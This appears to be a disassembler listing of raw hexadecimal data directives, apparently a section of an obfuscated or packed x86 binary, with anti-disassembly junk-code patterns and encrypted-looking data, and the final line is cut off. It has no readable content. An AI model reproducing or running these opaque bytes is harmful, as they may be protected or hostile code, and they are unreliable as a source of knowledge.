6C895DC3h, 44810424h dd 1D0424h, 55450000h, 0CF8F02C3h, 0AC06FC8Bh, 0BB255752h dd 700252DEh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0E2C35646h, 0E614BA66h, 0FFEA7CBAh, 0F58A5118h dd 2DE8835Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0BDC35646h, 12E88B77h, 37000000h, 39C401A2h, 5B83F19Ch dd 0DAEDEF2h, 0FD374E55h, 0E3B25741h, 8B665B5Ah, 0D0B70FDEh dd 3CBAC08Bh, 8354FFDCh, 3526A1BDh, 9750009h, 3079BD83h dd 74000935h, 8B535019h, 3FCB8C0h, 85890000h, 9352CA9h dd 0B49F9D8Dh, 0D3FF0937h, 0BD83585Bh, 9353079h, 50177400h dd 3FCB853h, 85890000h, 9352CA9h, 0B1409D8Dh, 0D3FF0937h dd 0BF0F585Bh, 53006ADEh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 98EB699Bh, 0ABE1AA00h dd 11E9E5ABh, 69000000h, 0A690E586h, 69CD28FAh, 6EC261A5h dd 0A9FEF3F2h, 12E8C08Bh, 0B3000000h, 0D38C47Ah, 8B40E72Fh dd 710952Fh, 11CF7530h, 0F18B66C5h, 81FA8A59h, 6BF0C1h dd 0FFB70F00h, 1AC768h, 0BF665A00h, 18B23A1h, 8B0Fh, 0F0810000h dd 77968CECh, 81F98B66h, 0B097EAC0h, 8CF08108h, 8013903Bh dd 80500FCFh, 18FA1DFh, 17880Fh, 12E90000h, 70000000h dd 44B415F2h, 0C2ED8F90h, 56F36A82h, 0A2491C4Ah, 19E98153h dd 6671C95Ah, 0C181D88Bh, 71C95A15h, 6880F50h, 81000000h dd 0F5CF4FCBh, 0EA835E7Ah, 26850F01h, 0F000000h, 118Dh dd 0CE900h, 0E3000000h, 5433302h, 7C795DE5h, 28E9EFBDh dd 3000000h, 0E9EAF33Eh, 0EEF2CBB6h, 0E6CB8190h, 0E9323DE5h dd 0FFFFFF66h, 0D3F14C48h, 1FCCE47Ah, 676AFE42h, 0B50980A4h dd 8D3792C7h, 3AD08A8Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 0BD8B9FE5h, 9350BC1h dd 16298D89h, 890F0935h, 6, 0B11FC381h, 85C75F5Dh, 935287Dh dd 6C3Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 7AC35343h, 281FF282h, 43C463B8h, 9D0160E4h, 93516A9h dd 6820Fh, 860F0000h, 0 aAEu5 db 'aг┘U"5',9,0 dd 0E9000000h, 9, 38E924FFh, 0B2E0EAF8h, 79B5FF1Dh, 8909352Ch dd 352E5D8Dh, 595FF09h, 6A09350Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0C592C355h dd 12E948E8h, 0DB000000h, 540E1925h, 9B2ABBD8h, 1A7A01C0h dd 0F508EE3Ah, 0FF006A58h, 35082995h, 0EBC08B09h, 0CA68A029h dd 44ED00Ch, 84894FFBh, 0C64472EEh, 0EE01EC72h, 91FD8765h dd 8F1B8D35h, 6EB0F8CEh, 0E94B1230h, 55CBE75h, 0DE86438h dd 0AF000000h, 0CB8056B9h, 0BB4E91D4h, 0F810A070h, 0C7815FFCh dd 67D5h, 0A59D2960h, 6609351Eh, 0B961D78Bh, 19CCh, 78B79B3h dd 4959D8Bh, 0C0810935h, 0F359B7Ah, 2FE68166h, 1BC081DCh dd 8971767Ch, 350AC985h, 0C2C08109h, 0E9528468h, 6, 604CA9DBh dd 0F5509635h, 9D09078Fh, 935064Dh, 3304EF83h, 35082195h dd 1E98109h, 0F000000h, 1C85h, 0CD958B00h, 0E909352Fh dd 28h, 7B650AB1h, 734ED958h, 0B2C91D24h, 0F1B0DCCh, 50BA6691h dd 0FF8CE944h, 5BE0FFFFh, 7101F939h, 7FF3C99Ch, 828E018Ch dd 98E9h, 9400h, 500h, 100h, 0A2800h, 200h, 20h dup(0) dd 199F6000h, 0C11E91Eh, 7B680000h, 0E9093AD3h, 0FFFAACC4h dd 3AD45E68h, 0ACBAE909h, 4068FFFAh, 0E9093AD5h, 0FFFAACB0h dd 3AD59A68h, 0ACA6E909h, 0E168FFFAh, 0E9093AD6h, 0FFFAAC9Ch dd 3AD73068h, 0AC92E909h, 4068FFFAh, 0E9093ADBh, 0FFFAAC88h dd 3ADC6768h, 0AC7EE909h, 4DEFFFFAh, 0B0AD3368h, 73EC7429h dd 0ABC33566h, 72EB6D2Eh, 0C7D3667h, 0A9F2E77Eh, 4993C37h dd 0A8F5E27Ch, 0FAA33C30h, 62687656h, 5612FB6Fh, 2B478645h dd 5DD143AEh, 3D885744h, 9B256965h, 57D91885h, 644E119Fh dd 9C421503h, 130FB155h, 0DE96B86h, 11B5177h, 0C1EA8113h dd 652E0Ah, 688B65A9h, 955C7DF4h, 33361EFFh, 381D075Eh dd 0A22B5B88h, 35C1A060h, 8531408Dh, 252792h, 2E680000h dd 0BF0BC39Bh, 3EB6233Dh, 37265B0h, 0DE159B15h, 111684Eh dd 0C8BC2913h, 8529BE0Fh, 0BBA992h, 47EA0000h, 0D143AE2Bh dd 3EB24158h, 2EABC522h, 578D41C3h, 1C36416Dh, 4AA94769h dd 603D5AD6h, 36458F7Ch, 148DA11Ch, 0AD2A46B8h, 5532C246h dd 0DF128FA3h, 45894154h, 363D89Fh, 4FE4D615h, 0F2F4AA4Ah dd 4F48E0DAh, 0A33C30A4h, 21BCB34Dh, 0D1A64ED2h, 0E3EBA3F6h dd 0CCC813BDh, 0DC1E70Bh, 3E5F7AF3h, 0E408A3BAh, 0EADF1BA8h dd 5D1B8C34h, 2AEFC56Ah, 10BF20C4h, 53DEE9A3h, 9F66Bh dd 496ECC00h, 8918C54h, 4752CD93h, 0D8AA256h, 4851C890h dd 57334853h, 1EE2BBDEh, 550B9005h, 1BDDBEDBh, 4F019A07h dd 6E5B617Fh, 3E4F12FBh, 0AB2E477Dh, 0F5F26EF2h, 8955B7Eh dd 959B2E23h, 3CBBF8Ch, 4E7E70BBh, 34A8590h, 7E757B15h dd 0C6F3A8D8h, 0CA93654Ah, 539E3B34h, 298F25D1h, 0EA1300B2h dd 7DD0897Bh, 0EA928588h, 0CFh, 802B47A9h, 2275FC8h, 0DEFB77DDh dd 915F9113h, 2A42BC62h, 32C246ADh, 0B938A1B8h, 0A12BB915h dd 951C363Fh, 648F0A23h, 58E60EE0h, 1C3643CBh, 0B3E8F16Dh dd 49A8312Dh, 9B33EBBEh, 3628205h, 2B707615h, 7D51099Ch dd 0CCC67A67h, 58747A0Bh, 5A812328h, 25BB2574h, 1C33889Fh dd 1BDB159Bh, 0C5D44D6Fh, 900920D8h, 0A329E954h, 452DB4E9h dd 913h, 2D6E4BE9h, 722BB6ABh, 376471EEh, 6B30A9C1h, 405D7CF5h dd 0ED840673h, 3229AFECh, 0EC82F6A7h, 362AAEEFh, 903CF4A9h dd 0FB6D6852h, 8C2F5C12h, 847D2E47h, 3B9E3C9h, 5E58F5FCh dd 758CEC62h, 922C227Bh, 6FF1009Dh, 90191587h, 4CF2019Eh dd 357B2C96h, 6886281Ch, 47361586h, 32A7BE2Bh, 0AFC335BCh dd 0CBDE6932h, 0ED0FBB13h, 0B8D6475h, 92D855EBh, 9A3C150Ch dd 0B948832h, 0B229C92h, 62D8668Eh, 7912FB71h, 0B9297232h dd 0CF625C94h, 599D1FD2h, 3B33FBCEh, 667C509Eh, 0BC883D3h dd 815FBFE1h, 8FEEEEFEh, 2CA8215h, 3C232DDCh, 0CE25CB81h dd 2E9E7641h, 1C119E70h, 804C527Ah, 0FBF6E37Eh, 258F5579h dd 21886BE5h, 29D3777Fh, 69EFAC35h, 73F8ECF5h, 2A7D6ACCh dd 8319F87h, 55070000h, 0B8B52B70h, 6B047C21h, 0B3AB2D6Eh dd 6A037526h, 14652E6Fh, 0C1DAFF76h, 0ECB1243Fh, 0C0DDFA74h dd 0E2BB2438h, 0BA009EEEh, 0AE12FB6Ch, 9B2E9E1Dh, 58D50BC3h dd 0BC150C93h, 7A5E4BECh, 806E7AE1h, 22BFB24Ch, 6F6A0779h dd 831C1084h, 0DB452663h, 422CB7F2h, 7D7h, 712A8FADh, 366772EFh dd 6B30ADC2h, 3F5C7DF5h, 6439A0B9h, 0F1682257h, 362DB3E8h dd 0E886FAA3h, 322EB2EBh, 7C50F8A5h, 0FB6C5C66h, 884B5812h dd 0BC39B2Eh, 0C9358D5h, 0B21ABC15h, 128B1408h, 0D8AA21Ch dd 346A62E6h, 12FB708Eh, 590648Ah, 0B0EEDEAEh, 12FB70FEh dd 7364FCF2h, 0DFE6767Dh, 1112FB70h, 0FE728118h, 8D374863h dd 9ED84986h, 78F1A150h, 0B5A6D78Ch, 897BEA23h, 5044A1EEh dd 8AE71677h, 545192h, 15820000h, 896875EBh, 4D64EF07h dd 3593517Dh, 331C3641h, 0EA0A9789h, 0B13FB234h, 1C36420Fh dd 3DB4213Fh, 0A74A57CBh, 7D786CB9h, 0A6A39114h, 73F228D6h dd 0F46858EBh, 51F105EBh, 895047FCh, 116Bh, 0DCD11C00h dd 0FD000001h, 41A913D1h, 0FB9D1C36h, 0A4954FBh, 0C804DCE7h dd 5C983D36h, 553FF2B0h, 7F3F1503h, 0BCC2CF6Bh, 23D125B1h dd 0F003968Dh, 0B04A826Ch, 4DCF22BFh, 7F6F55A9h, 9AAA670Eh dd 5377570Fh, 2EE6D76Bh, 1ADAF45Dh, 63A89584h, 0B63D636Eh dd 6C69E29h, 637C46D8h, 0CC12BA65h, 75A37BE6h, 9A32BCE2h dd 0A930C20h, 29BDDA56h, 903336CEh, 907A640Fh, 66000006h dd 0ACECFF4h, 4F118A17h, 20D8C5D0h, 4A0E8F08h, 0DED5C6D3h dd 5544DDADh, 0FE9B9048h, 5845DB9Dh, 38A1BD43h, 83216D63h dd 12FB6B39h, 471BA02Dh, 0B843AE2Bh, 0B9935EDh, 1503415Ch dd 5B1D7E20h, 0AB0ADAC7h, 32F2D573h, 641C7AFh, 25170000h dd 0C8651B80h, 1B14CCD1h, 0C35B1D7Eh, 1A13C5D6h, 64151E7Fh dd 910A8FA6h, 5C4154CFh, 900D8AA4h, 524B54C8h, 4A702E5Eh dd 3E12FB6Ah, 2B472E8Dh, 1D9F43AEh, 862C7205h, 821C3641h dd 0F36C925Ch, 809C0EE6h, 1F6CDC17h, 26BC1035h, 1C36419Ch dd 8B082698h, 0EA0AE468h, 7DF3FC70h, 0BC3E8E60h, 3CC033A4h dd 9EEFE3B8h, 0C9894FFDh, 55h, 73EB150Ah, 0ED098B66h, 88A74F5Ah dd 0B5EBE30Dh, 1503466Ah, 8C4088Eh, 13DF0DAh, 0AB0EE13h dd 0FE13013Eh, 30C4EAD8h, 3D9D23B1h, 0B05E1301h, 3DFCC6DCh dd 0C8F81301h, 0C35E0E1Fh, 0F2DA1445h, 0A406ACh, 18DC0213h dd 0CD00D9CBh, 9A928597h, 53h, 0A19B2EF9h, 3641B903h, 0C52BAD1Ch dd 0DF3DB09h, 0C5EB1503h, 5F7AF709h, 2038883Eh, 0CD77FF0h dd 9B22B044h, 9B13012Fh, 78D03DE3h, 9F57C1F6h, 24A8312Dh dd 0DE15829Ah, 3BBD9A5Ah, 9238BB26h, 5ABDF468h, 6D48DBBh dd 0E0648F61h, 5292414h, 2E650000h, 0D50BC39Bh, 15036C42h dd 0B12E40B6h, 2C40B43Fh, 8CD940B3h, 9C1D498h, 3DE81FC5h dd 0F4060BCEh, 0EA985C7Dh, 1EC408C4h, 1C364194h, 41BE049Ah dd 34BA1C36h, 0FEC088Eh, 0CCD549h, 41AC16CCh, 4FE41C36h dd 7E76784Ah, 692174FFh, 9B972965h, 8571F3FEh, 36AF4EFh dd 3EEF015h, 0EE059C91h, 0EEC7E27Ah, 2B7B4D68h, 91FFF2FCh dd 0EF955044h, 6F91B69Eh, 8E12E1F4h, 5F78F466h, 0C9D04D6Fh dd 794EA62Ah, 0CB03DBEEh, 5DA33E31h, 7A1ED6C3h, 0CDC5E164h dd 22D1D70Bh, 0A925B2AEh, 63C73CD9h, 19E7837Ah, 0D4589B06h dd 0BB3A120h, 90637EF1h, 5F7CF20Ch, 8FE41094h, 51EA0A5h dd 17DF6190h, 6D61398Ch, 2DE1037h, 0E6AE0E15h, 0B48C2543h dd 8127DD19h, 0ADC8641Ch, 127CDF7h, 3A37C913h, 1ED0549Fh dd 0A2514EE0h, 7D21D01Eh, 3EEEB83h, 62FB7581h, 0DE5AA349h dd 1BD5B784h, 8B1609B3h, 9110E468h, 5C97021Fh, 0FE7673E8h dd 58961AD9h, 4A3AAB99h, 15FF5EAFh, 48E1CE62h, 0E6FCA251h dd 130055DCh, 0D618D6D8h, 0D5AFFAC5h, 55A50Fh, 0C7DDA113h dd 130055FDh, 0F7F9F7F9h, 0C7EDB3D7h, 0C3130055h, 4E4BE31Dh dd 5DC02A6h, 0A30BCD7Fh, 7C50F6FDh, 357C5C66h, 6728581Ch dd 0D865964Ch, 76E80CE2h, 2616DDFAh, 9023CFB5h, 13CE14B8h dd 9B1502E0h, 64900921h, 0BB7328AEh, 0BD1E803h, 0E4103EA3h dd 0AE9F66Ah, 120D9A96h, 6E86C87h, 9C3D34C6h, 0D1E48358h dd 0CCEDD5F9h, 0BC25391Dh, 1E0FB335h, 0AF5B9B81h, 0CDD26EF1h dd 89542C0Bh, 0D018CC57h dd 5AB599Dh, 0BE585EEEh, 97881C35h, 0FC75E70Ah, 2EAF16DDh dd 77EEA346h, 8081CC8Dh, 5BE68950h, 0A0000000h, 0D44C99E0h dd 0B242D4C1h, 0C39B2E0Bh, 6079F10Bh, 6BBAE894h, 91150372h dd 0D50BBF0Fh, 130111EFh, 0B7FDA3EBh, 0B3130111h, 0AC33C32Dh dd 961CC206h, 92130111h, 5698011Ch, 11AE109Eh, 0F66F1301h dd 2A004D0Eh, 506A9285h, 8333BEDBh, 0F604C1B1h, 75816FF7h dd 103C6h, 2B470500h, 58D143AEh, 5ED5DC51h, 0BA34B83Bh dd 0D74BB537h, 4BA527CAh, 9F3834A8h, 534CE054h, 45A97A4Ah dd 255D1C36h, 26934164h, 0E15B9B4Ah, 9147544Dh, 4C8049Dh dd 29B01AC8h, 2A41C36h, 3629DAE0h, 0F976CC1Ch, 0D39D6AD1h dd 0AD17CDF1h, 0A91C354Bh, 860DE907h, 0D6F6AEF9h, 278ADC8h dd 504D5315h, 606C246Fh, 7842602Ch, 6C130067h, 67309A48h dd 82241300h, 0EF73546Ch, 869B19A2h, 0AF4FE06Eh, 4D6F0BCCh dd 872BC6D3h, 334E7359h, 0AF41671Ch, 94E99947h, 0E7BFEB72h dd 0B612BA34h, 334AA228h, 0E410961Ch, 0F66A9438h, 7A7960F9h dd 82FCF8F6h, 2BADEEEBh, 0A43FA732h, 0F9E9A367h, 231907Ah dd 55070000h, 0B8B52B70h, 6B047C21h, 0B3AB2D6Eh, 6A037526h dd 14652E6Fh, 0C1DAFF76h, 0ECB1243Fh, 0C0DDFA74h, 0E2BB2438h dd 0BA009EEEh, 0AE12FB66h, 2E479E1Dh, 0F26EF2ABh, 0EC0EB8E5h dd 0F2916572h, 0BC39B2Eh, 0FFF5D4B3h, 39BDBD5Ch, 0DBC04F95h dd 0B2341502h, 8A306E1Ah, 7E13009Bh, 71159C58h, 9B3D871Dh dd 0B7391300h, 28CBD649h, 0FCC250A4h, 0BD13009Bh, 5D11B111h dd 0CAC65140h, 0EEEFD52Ah, 9285569Fh, 0E1C8h, 2B470700h dd 0EB9F43AEh, 0AF425FD1h, 420DB72Dh, 0E7091C36h, 15849D0Fh dd 45BD4EDEh, 0FF731C36h, 3D9822C0h, 0A8C1C36h, 2D41B7E4h dd 3D664C92h, 3C621C36h, 0C22CA9C2h, 3911A42Fh, 0BE893995h dd 562F018Ch, 0AFAE44B0h, 651502E5h, 3A8D5A43h, 0D2346A62h dd 460BCC4Dh, 9B922CA0h, 8571F3FEh, 4B4EE7D9h, 33994783h dd 251C342Dh, 6C4C1FEDh, 0F5FBC96Ah, 6C87120Bh, 772F0CE8h dd 49278D53h, 7D231C33h, 496E0779h, 3349319Bh, 0D0C9611Ch dd 83259F21h, 68C0796Dh, 56DDE9A3h, 10A6Ch, 5572E000h dd 49D9048h, 534EE197h, 0F99E964Ah, 5445DCA4h, 4B3F4C47h dd 22D6C7D2h, 490F8C09h, 0FD1CAD7h, 33158613h, 657F455Bh dd 6A7B12FBh, 0AB2E4769h, 0F5F26EF2h, 13955C7Dh, 8B6574EDh dd 2B472112h, 0E2474980h, 21A34E4Bh, 6BE99A1h, 0BC9CE4E8h dd 0A0E2EB76h, 0B82E6721h, 0B6A53508h, 0D14DBF3Eh, 0EBBC04C8h dd 0B9493AABh, 75592EC6h, 97418B19h, 0B3351C35h, 2DE5B043h dd 0E98E03A1h, 4066150Bh, 23C10DB1h, 12FBC699h, 71EB0B8Dh dd 6079F4FDh, 0BCE10F91h, 0A7BF2844h, 44AF2C42h, 41C32EC0h dd 24B444AFh, 1901DA88h, 0AA8B0D75h, 670002BEh, 0D420CECBh dd 4EE2957Fh, 98944C51h, 42A30FD1h, 757BB826h, 0AB952959h dd 0E4CA5FECh, 25A74A4Fh, 30A42BCBh, 0E23A7138h, 0B4746595h dd 5C6488DFh, 8A64D2EFh, 6F7AF567h, 0E80BE5F0h, 17DAFF74h dd 0B4B79D84h, 0E4977DCEh, 8A4E4F48h, 0EA0996h, 3, 47844F51h dd 0CF41B015h, 39AB4653h, 0C537BA27h, 54C82BAEh, 0C335BCDDh dd 50C42FAAh, 0C034BFD8h, 4DBF32AFh, 5D2AC9D0h, 5E08950h dd 4, 42Dh, 24048700h, 2414895Ch, 1C4A68h, 24348900h, 30F368h dd 242C8900h, 0D258BF57h, 0FE89093Ah, 81243C8Bh, 4C4h dd 3C596800h, 24890000h, 24048324h, 0BB535D04h, 8, 568BC381h dd 0EB01035Ch, 568BEB81h, 3389035Ch, 242C8B5Bh, 81E28952h dd 4C2h, 4C28100h, 87000000h, 0FF5C2414h, 835E2434h, 0C5E904C4h dd 0B0FFFAA0h, 0B2A24E86h, 0B880D3D7h, 93ADD96h, 0E0FFC503h dd 24297E51h, 642EB73Bh, 2C87060Ch, 15572EF3h, 53F76250h dd 327F95BCh, 725E5FB2h, 31536E61h, 7EEB6DD1h, 5127565Ah dd 2220106h, 1A69E2h, 5D45FE61h, 45991DA1h, 5CC3B3CFh dd 24EBh, 8 dup(0) dd 0BDE90000h, 89000000h, 3ADE60B5h, 19858B09h, 8B09351Ch dd 352FF585h, 0AAB58D09h, 8D093ADEh, 384C2D85h, 0C3D0FF09h dd 0E855h, 815D0000h, 3ADEB0EDh, 19BD8309h, 109351Ch, 2C850Fh dd 0B5FF0000h, 93ADE60h, 2FF5858Bh, 36350935h, 0FF348127h dd 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h, 40E9C0h dd 1C6A0000h, 0DE64B58Dh, 0FF56093Ah, 3ADE60B5h, 0F5858B09h dd 3509352Fh, 34812736h, 0C483D0FFh, 64B58D0Ch, 8B093ADEh dd 0E0831446h, 4F88304h, 7840Fh, 0C0330000h, 5E9h, 1B800h dd 0BD830000h, 9351C19h, 7850F01h, 5D000000h, 2E9C3h, 0CF5D0000h dd 0DE89858Dh, 8589093Ah, 93505BDh, 13E8h, 0E76F00h, 78B83723h dd 0B7DF6138h, 7DEBD25h, 7AF155FEh, 0E395BF50h, 5A5B6242h dd 0C281FE8Bh, 62F1h, 118A0Fh, 0CE90000h, 0F2000000h, 6A737492h dd 28C6CA1Ah, 0B813FF89h, 2C5C3401h, 2C98F081h, 0CE92C5Ch dd 78000000h, 0D9024151h, 78BA7E70h, 8B0F760Ah, 8130B532h dd 0CD0C9F6h, 0DFEE8157h, 5316082Bh, 5BD98B51h, 6FEE815Bh dd 0F100119h, 3289FABFh, 83FABF0Fh, 8B6603EAh, 36BF4AF8h dd 4809D524h, 0FFC9850Fh, 0BF66FFFFh, 8D8DAF21h, 93AE0BEh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0BAC35242h dd 0C33C5073h, 89F1498Dh, 3516298Dh, 56006A09h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 9F8AEA9Ah dd 4F37C041h, 81663095h, 8BDB28F7h, 352331B5h, 7D85C709h dd 0D4093528h, 6A00006Ch, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0D49EC357h, 85C77F7Ah dd 9352255h, 0 dd 24CD9533h, 0B5FF0935h, 9351239h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0EC35646h, 500ABA66h, 0D0595FFh dd 0BD8B0935h, 935231Dh, 222C8ABBh, 0FF006A00h, 35082995h dd 0EBC08B09h, 5122E459h, 25ADE0EBh, 0DAACCEFBh, 0EA4C2B42h dd 3D580F6Ch, 0D4C8CD01h, 5255B9FCh, 6FF7AA06h, 8C9E3926h dd 9575616h, 0E68593A2h, 4E8E15ECh, 9E93CD5Ah, 7372B7E6h dd 9FD14C28h, 73F0020Eh, 2A70E526h, 9E064E62h, 3979C0E3h dd 9BD2B27Fh, 0A25F8428h, 0E6D27F99h, 8EBB5B3h, 46A47C35h dd 2410000h, 0C38E9h, 0E2EB6800h, 71E9093Ah, 68FFFB64h dd 93AE3FCh, 0FB6467E9h, 0E56268FFh, 5DE9093Ah, 68FFFB64h dd 93AE637h, 0FB6453E9h, 0E6D568FFh, 49E9093Ah, 68FFFB64h dd 93AE8D1h, 0FB643FE9h, 0E95F68FFh, 35E9093Ah, 68FFFB64h dd 93AEA9Fh, 0FB642BE9h, 0EBCF68FFh, 21E9093Ah, 49FFFB64h dd 0B4D3D886h, 324D5E1Eh, 0C7B8E599h, 34535806h, 24D0DD9Dh dd 0E09E3589h, 5202CCBBh, 0E6963E49h, 5E1ECAB5h, 0B3123F4Dh dd 0CF886131h, 0D0E15922h, 5A6911B7h, 0A47BFBEDh, 7E54755Fh dd 98C607FEh, 0B9221D0Eh, 823FC6B3h, 11CF82A7h, 0C06AF207h dd 8A68B02Ch, 539609B8h, 5A05DF66h, 2356CF83h, 835940A2h dd 930513CFh, 59BB21A0h, 38A7CF83h, 2EFEA5D9h, 5EE7F9B1h dd 6F000000h, 6816B7D0h, 83BD2E59h, 100E7D34h, 0C620A51Bh dd 95C64DF3h, 0F6E21583h, 9B0D9776h, 792DBE6Eh, 7121FD8Bh dd 494EB7C2h, 5CCF82EBh, 0D7B6A42Bh, 4DC4DB4Dh, 0CF828ACFh dd 3293A693h, 0CF828AB0h, 18475A3h, 0CF828B1Fh, 0EACDE434h dd 0F98C33ABh, 0D055F9B1h, 2C000000h, 0ECC7B71Bh, 0BB1ACEF2h dd 4D80C85Ah, 0B9A529C6h, 839542E6h, 0C60DFA15h, 75A8D6F7h dd 72245872h, 700E924h, 238598C6h, 0B1B12310h, 3F3FA9DEh dd 850E9F6Eh, 6FFDC64Dh, 0DA336027h, 26D449Bh, 7C8596D6h dd 4416448Bh, 7030367Ch, 7601B0A9h, 38EB2242h, 35A0E9EFh dd 0CF834668h, 4F703DEBh, 80778088h, 0FF49134Bh, 814BB72Dh dd 8C7D08BBh, 0E827577Bh, 0F228A59Ch, 81D8BB30h, 7E556297h dd 0E5EC1B00h, 21378975h, 0FEA7563h, 9D533h, 6AE8E300h dd 0D08C4641h, 6717BCCBh, 0DA844936h, 5F1FB6D1h, 0B307A64Eh dd 324D5E1Ch, 0CCBBE09Ch, 38475404h, 0CDBFEC8Ch, 62BF21A4h dd 0E794CF88h, 5707CE4Fh, 0C2BC1522h, 6B5DAAEFh, 0E58220Bh dd 42EA1F1Dh, 0FE7B7D9h, 919C97F8h, 83742734h, 0CA4B3ECFh dd 0CF837358h, 16468CFBh, 0ADFBADF7h, 741D0372h, 5445CF83h dd 3C5E78C8h, 5BC3A3Ch, 0B45B9302h, 1DF9B1EFh, 0F6h, 1E1ACEA5h dd 0CA9DE95Bh, 0A9EA7079h, 0A816C74Fh, 463146D0h, 0E484308Dh dd 0D90C7F32h, 0C17B65F0h, 48E0C64Dh, 97C70E79h, 0C6D01978h dd 37A1C64Dh, 0AF196637h, 1CDBACFh, 3EE95E55h, 3B9AEFEDh dd 0CF82F066h, 5C45DF8Dh, 1D87B135h, 0F9EDDF11h, 3CF7A180h dd 0FACFE891h, 7325FF84h, 0E236CF83h, 8F586734h, 0B0D7EE4Dh dd 2472BFAEh, 0C59372D3h, 5562D8BAh, 9A43FE78h, 0DC90798Eh dd 0EE773D05h, 9EA998E0h, 29564737h, 68D0BCA2h, 39756320h dd 8C48066h, 0FFD20000h, 7951AE7Fh, 0E2E71805h, 7F50AF7Ch dd 0FAD12EFFh, 32DD9784h, 9687F7DEh, 34F96569h, 0B07DFDD3h dd 1805654Fh, 988A0BF4h, 0BBCF8863h, 7CE26D0h, 2E611DB6h dd 0B1EC9239h, 2257C157h, 0C4C98517h, 0B1C7F965h, 4E2ED254h dd 9C9781C6h, 0BD1ECAB5h, 0DE2A6511h, 766CA60Ch, 0CC5AE62Ah dd 1ACE13DFh, 9440435Ah, 2FF8C7D4h, 0DEE9E029h, 0F1938AEAh dd 0A9B2C342h, 0BB61CF82h, 0B282DD50h, 0EEF7CA4Fh, 0B420633Ah dd 2C98E7B4h, 0E53323ABh, 3131A394h, 9B680D82h, 0B956C8ABh dd 8034C756h, 23A297E0h, 54C0ABC1h, 6FEFE592h, 6F42D430h dd 8BEBDD2Ah, 1B43897Eh, 61BE3328h, 0B254C0ABh, 893BCE4Dh dd 0B2C5C4E9h, 0E14E6519h, 0F99877F7h, 54C0ABE0h, 0A97897FEh dd 116E3F3Fh, 0DBC8C7A7h, 9AFB0C0Ch, 410F5835h, 0E4E3C860h dd 8104F5F3h, 483C73B4h, 954BD6Fh, 20738C6Ah, 7D908811h dd 0D98D0B18h, 0A7F65937h, 8FB802Fh, 9E954781h, 180470B9h dd 0F8EA6B9Ch, 5B37DA78h, 7295F6CDh, 6C000004h, 0EE8ED6C0h dd 0FEB567DFh, 80CA5CE4h, 27B5C64Dh, 58C64D90h, 0C64D94B2h dd 4D940F0Dh, 0B3B922C6h, 98323FC6h, 3BE1CF82h, 0F88BB147h dd 8DBE3A59h, 82439C4Eh, 85933EF5h, 54A23B79h, 2F13E67Ch dd 75Eh, 2CF1616Ch, 9687F7DBh, 2DFE6069h, 9C81FDD2h, 25F6646Bh dd 854CA04Fh, 17B7C8D5h, 83493667h, 3B5D2DBh, 2D5A3A63h dd 88653EA8h, 0C46E1DCFh, 6A10B7D0h, 55E2D133h, 0FFE16463h dd 54C64D80h, 122552C4h, 9BF0C3BBh, 30983FA8h, 65B35548h dd 0B1142514h, 0C64D802Fh, 0C03DF424h, 0CF886184h, 77180513h dd 1319022Dh, 791E5FE6h, 0BB6DD8BDh, 0B32DF81Dh, 3B4C75BEh dd 5CA8E797h, 2CD11A65h, 40C5B51Bh, 75BC4AE6h, 4F5A375h dd 0F175D481h, 1B7A8F7Eh, 6CA96209h, 0BAE3DE4Ah, 0AB93196Eh dd 0AD77B3h, 0F41A469Dh, 0F058B466h, 8FA47E07h, 61B76CA8h dd 0E14AFD52h, 5127AEDBh, 2275DDC8h, 0C2F601F6h, 5A8E79A2h dd 5E7AF21Ah, 0CCAFDA0Fh, 689F6h, 46349700h, 0BCA02A55h dd 433B90EFh, 0B6A02D5Ah, 4B339AE5h, 0A7FB9A62h, 16713A20h dd 90EFBCB8h, 2C5B4038h, 0A1F3B8B8h, 66D34DB8h, 0F388CF88h dd 1F1D0E7Bh, 0A9CA6BEAh, 0C329CF82h, 0D40753BBh, 904925Bh dd 938AEADEh, 7CCF4EB1h, 96C60CABh, 19F46A5Fh, 65F0198Fh dd 0D8B7AACCh, 6134F92Fh, 0C64DA87Bh, 4DA92204h, 0C0C80FC6h dd 49BE25B7h, 38F0E830h, 0A9950089h, 0EACF88E2h, 33B25F3Eh dd 4ECF87E0h, 0CF87E0CFh, 7845897Eh, 0C37E2850h, 206C0CB8h dd 83A4F626h, 0EBB2906Bh, 0F9000005h, 8483A8D6h, 0E21D0E4Eh dd 57A875E9h, 0E4230876h, 0B4406DEDh, 500EC519h, 0E2923C4Bh dd 5606CEB9h, 0EE8E3A45h, 23A2CFBDh, 0CF8866C1h, 0E51E992h dd 6BEA1F1Dh, 0CF886197h, 0FB636760h, 7E8B9D48h, 62180A8Bh dd 7ADBCF88h, 0CF886168h, 7CAC3DEBh, 2395D2C5h, 796D5A43h dd 755FA47Bh, 0EDD728F5h, 617D67EEh, 4ADECF88h, 12C6C1DCh dd 80483B52h, 9C2C5D8h, 53BA3A55h, 0B6BFD6C4h, 7B10CC1h dd 4ADC2867h, 0C0B81053h, 0D6ED3BCDh, 0E5CFA2F1h, 4D837485h dd 6B6F360Dh, 0F9BE12C4h, 1AC0Dh, 0FFD3E400h, 0E2AC47Fh dd 6BEA1F1Dh, 0CF828426h, 9BAEDB4Dh, 8283A83Ah, 0C67DABCFh dd 83C024D1h, 0AA55CF82h, 20AD9A6Bh, 0BCCD5736h, 8283C759h dd 0A59C8CCFh, 0FE0B11DAh, 354A236Eh, 43FE4A0Ch, 0DB3A4F3Ah dd 0CF82C649h, 0A6231E0Ah, 0D8B7C9E9h, 708F9C8Ch, 0E4D32444h dd 0CEC170F0h, 5E4F2F99h, 85727A61h, 82ECC300h, 920AD2CFh dd 4439EDDh, 968A7F1h, 0CF832813h, 666D5A4Fh, 97C70DF8h dd 84F8179Ch, 0F9B150DFh, 5906h, 1D0E4C00h, 0EA25517Eh dd 0AFF089Eh, 